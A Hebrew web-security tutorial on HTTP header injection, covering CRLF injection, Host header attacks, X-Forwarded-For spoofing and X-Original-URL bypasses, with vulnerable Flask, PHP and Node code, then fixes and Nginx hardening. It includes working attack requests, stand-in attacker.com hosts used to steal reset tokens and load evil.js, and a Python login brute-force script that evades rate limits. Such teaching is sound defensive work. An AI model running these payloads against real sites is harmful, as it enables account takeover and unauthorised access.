הזרקת כותרות - Header Injection¶
מבוא¶
הזרקת כותרות HTTP היא משפחה רחבה של חולשות שמנצלות את האופן שבו שרתי אינטרנט מעבדים כותרות HTTP. זה כולל הזרקת CRLF, מתקפות Host header, וניצול כותרות proxy שונות.
חולשות אלו פחות מוכרות מ-XSS או SQLi, אבל יכולות להוביל לתוצאות קריטיות: מ-session hijacking ועד cache poisoning.
הזרקת CRLF¶
רקע¶
בפרוטוקול HTTP, כל כותרת מסתיימת ברצף CRLF (Carriage Return + Line Feed):
שורה ריקה (CRLF כפול) מפרידה בין הכותרות לגוף התגובה:
מתי נוצרת חולשה¶
כאשר קלט המשתמש מוכנס לכותרת HTTP ללא סינון של CRLF:
# קוד פגיע - Python/Flask
@app.route('/redirect')
def redirect_page():
url = request.args.get('url', '/')
response = make_response('', 302)
response.headers['Location'] = url # פגיע!
return response
פיצול תגובת HTTP - HTTP Response Splitting¶
# בקשה רגילה
GET /redirect?url=/home HTTP/1.1
# תגובה רגילה
HTTP/1.1 302 Found
Location: /home
# בקשה עם CRLF injection
GET /redirect?url=/home%0d%0aInjected-Header:%20value HTTP/1.1
# תגובה עם כותרת מוזרקת
HTTP/1.1 302 Found
Location: /home
Injected-Header: value
קיבוע סשן - Session Fixation דרך CRLF¶
# הזרקת Set-Cookie דרך CRLF
GET /page?param=value%0d%0aSet-Cookie:%20sessionid=ATTACKER_SESSION HTTP/1.1
# התגובה תכלול:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=ATTACKER_SESSION
תהליך התקיפה:
1. התוקף שולח קישור לקורבן עם CRLF שמזריק cookie
2. הקורבן לוחץ על הקישור ומקבל את ה-session של התוקף
3. הקורבן מתחבר
4. התוקף משתמש באותו session ID כדי לגשת לחשבון
XSS דרך CRLF¶
# הזרקת גוף תגובה שלם
GET /page?param=value%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1
# התגובה:
HTTP/1.1 200 OK
X-Custom: value
<script>alert(document.cookie)</script>
CRLF כפול (%0d%0a%0d%0a) מסיים את הכותרות ומתחיל את גוף התגובה, מה שמאפשר הזרקת HTML/JavaScript.
הרעלת לוגים - Log Poisoning דרך CRLF¶
# אם שרת רושם כותרות ללוג
GET /page HTTP/1.1
User-Agent: Mozilla%0d%0a[CRITICAL] Admin login from 127.0.0.1
# בלוג של השרת:
192.168.1.5 - - "GET /page" - Mozilla
[CRITICAL] Admin login from 127.0.0.1
מתקפות Host Header¶
כותרת ה-Host היא חלק חובה ב-HTTP/1.1 שמציינת לאיזה דומיין הבקשה מיועדת. שרתים רבים סומכים על הכותרת הזו בצורה עיוורת.
הרעלת איפוס סיסמה - Password Reset Poisoning¶
# קוד פגיע - השרת משתמש ב-Host header ליצירת קישור
@app.route('/forgot-password', methods=['POST'])
def forgot_password():
email = request.form['email']
user = User.query.filter_by(email=email).first()
if user:
token = generate_reset_token(user)
# פגיע! משתמש ב-Host header ליצירת הקישור
host = request.headers.get('Host')
reset_link = f"https://{host}/reset?token={token}"
send_email(email, f"Reset your password: {reset_link}")
return "If the email exists, a reset link was sent."
ביצוע התקיפה¶
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
תהליך התקיפה:
1. התוקף שולח בקשת איפוס סיסמה עם Host שמצביע לשרת שלו
2. הקורבן מקבל מייל עם קישור ל-https://attacker.com/reset?token=SECRET
3. הקורבן לוחץ על הקישור
4. התוקף מקבל את ה-token ומאפס את הסיסמה
וריאציות של Host Header¶
# Host header רגיל
Host: attacker.com
# Host header עם port
Host: target.com:@attacker.com
# כותרות חלופיות
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
Forwarded: host=attacker.com
# Host header כפול
Host: target.com
Host: attacker.com
# Host header עם רווח
Host: target.com
Host: attacker.com
# Absolute URL בשורת הבקשה
GET https://target.com/forgot-password HTTP/1.1
Host: attacker.com
הרעלת מטמון דרך Host - Web Cache Poisoning¶
# בקשה ראשונה - מרעילה את המטמון
GET /static/main.js HTTP/1.1
Host: attacker.com
# השרת מחזיר:
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
<script src="https://attacker.com/evil.js"></script>
אם ה-cache שומר את התגובה, כל משתמש שיבקש את אותו משאב יקבל את התוכן המורעל.
גישה ל-Virtual Hosts פנימיים¶
# ניסיון לגשת לשרת פנימי דרך שינוי Host
GET / HTTP/1.1
Host: internal-admin.company.local
# או
GET / HTTP/1.1
Host: localhost
# או
GET / HTTP/1.1
Host: 127.0.0.1
SSRF מבוסס ניתוב - Routing-based SSRF¶
# שינוי Host כדי לגרום לשרת לפנות ליעד אחר
GET /api/data HTTP/1.1
Host: internal-service.local
# Collaborator-based detection
GET / HTTP/1.1
Host: collaborator.attacker.com
ניצול X-Forwarded-For ו-X-Real-IP¶
עקיפת בקרת גישה מבוססת IP¶
# אם השרת בודק IP:
# if (client_ip == "127.0.0.1") { allow_admin(); }
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
# וריאציות נוספות
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
קוד פגיע¶
@app.route('/admin')
def admin_panel():
# פגיע! סומך על כותרת שהלקוח יכול לזייף
client_ip = request.headers.get('X-Forwarded-For', request.remote_addr)
if client_ip == '127.0.0.1' or client_ip.startswith('10.'):
return render_template('admin.html')
else:
return "Forbidden", 403
עקיפת הגבלת קצב - Rate Limit Bypass¶
import requests
url = "http://target.com/login"
# כל בקשה עם IP שונה
for i in range(1000):
headers = {
"X-Forwarded-For": f"192.168.1.{i % 256}"
}
data = {
"username": "admin",
"password": passwords[i]
}
response = requests.post(url, data=data, headers=headers)
if "success" in response.text:
print(f"[+] Password found: {passwords[i]}")
break
ניצול X-Original-URL ו-X-Rewrite-URL¶
כותרות אלו משמשות שרתים כמו IIS ו-Nginx לניהול URL rewriting. ניתן לנצל אותן לעקיפת בקרת גישה:
עקיפת בקרת גישה מבוססת נתיב¶
# בקשה רגילה - חסומה
GET /admin HTTP/1.1
Host: target.com
# תגובה: 403 Forbidden
# עקיפה עם X-Original-URL
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin
# תגובה: 200 OK - הגישה הותרה!
עם X-Rewrite-URL¶
GET / HTTP/1.1
Host: target.com
X-Rewrite-URL: /admin/users
# השרת מגיש את /admin/users למרות שהבקשה היתה ל-/
דוגמה - עקיפת WAF¶
# ה-WAF חוסם את /admin
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin
X-Rewrite-URL: /admin
# ה-WAF רואה בקשה ל-/ (מותר)
# אבל השרת מגיש את /admin
דוגמאות קוד פגיע ומתוקן¶
PHP - CRLF Injection¶
// פגיע
<?php
$location = $_GET['redirect'];
header("Location: $location");
?>
// מתוקן
<?php
$location = $_GET['redirect'];
// הסרת CRLF
$location = str_replace(array("\r", "\n", "%0d", "%0a", "%0D", "%0A"), '', $location);
// ולידציה שזה URL תקין
if (filter_var($location, FILTER_VALIDATE_URL)) {
header("Location: $location");
} else {
header("Location: /");
}
?>
Node.js - Host Header¶
// פגיע
app.post('/forgot-password', (req, res) => {
const host = req.headers.host;
const token = generateToken(email);
const resetLink = `https://${host}/reset/${token}`;
sendEmail(email, resetLink);
});
// מתוקן
const ALLOWED_HOSTS = ['www.example.com', 'example.com'];
app.post('/forgot-password', (req, res) => {
const host = req.headers.host;
// ולידציה של Host header
if (!ALLOWED_HOSTS.includes(host)) {
return res.status(400).send('Invalid host');
}
// שימוש בערך קבוע מהקונפיגורציה
const resetLink = `https://${process.env.APP_HOST}/reset/${token}`;
sendEmail(email, resetLink);
});
Python/Flask - X-Forwarded-For¶
# פגיע
@app.route('/admin')
def admin():
ip = request.headers.get('X-Forwarded-For', request.remote_addr)
if ip == '127.0.0.1':
return admin_page()
# מתוקן - שימוש ב-proxy_fix עם הגדרה נכונה
from werkzeug.middleware.proxy_fix import ProxyFix
# מגדירים כמה proxies אמינים יש בשרשרת
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1)
@app.route('/admin')
def admin():
# עכשיו request.remote_addr מחזיר את ה-IP האמיתי
# רק מ-proxy אמין
if request.remote_addr == '127.0.0.1':
return admin_page()
הגנה כוללת¶
1. סינון CRLF¶
def sanitize_header_value(value):
"""מסיר תווי CRLF מערכי כותרות"""
return value.replace('\r', '').replace('\n', '').replace('%0d', '').replace('%0a', '').replace('%0D', '').replace('%0A', '')
2. ולידציה של Host Header¶
# Nginx - חסימת Host headers לא מורשים
server {
listen 80 default_server;
server_name _;
return 444; # סגירת חיבור ללא תגובה
}
server {
listen 80;
server_name www.example.com example.com;
# ... הגדרות רגילות
}
3. התעלמות מכותרות Proxy¶
# Nginx - הסרת כותרות proxy לא אמינות
proxy_set_header X-Original-URL "";
proxy_set_header X-Rewrite-URL "";
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
4. רשימה לבנה של כותרות¶
TRUSTED_HEADERS = {'Content-Type', 'Authorization', 'Accept'}
@app.before_request
def validate_headers():
for header in request.headers:
if header[0] not in TRUSTED_HEADERS and header[0].startswith('X-'):
# לוג אזהרה - כותרת לא מוכרת
app.logger.warning(f"Unexpected header: {header[0]}")
סיכום¶
הזרקת כותרות HTTP היא משפחה רחבה של חולשות:
- CRLF Injection - מאפשרת הזרקת כותרות ותוכן לתגובת HTTP
- Host Header Attacks - מאפשרות הרעלת איפוס סיסמה, cache poisoning, ו-SSRF
- X-Forwarded-For - מאפשר עקיפת בקרת גישה מבוססת IP
- X-Original-URL - מאפשר עקיפת בקרת גישה מבוססת נתיב
ההגנה דורשת גישה רב-שכבתית: סינון קלט, ולידציה של כותרות, קונפיגורציה נכונה של שרת ה-proxy, ואי-אמון בכותרות שהלקוח שולח.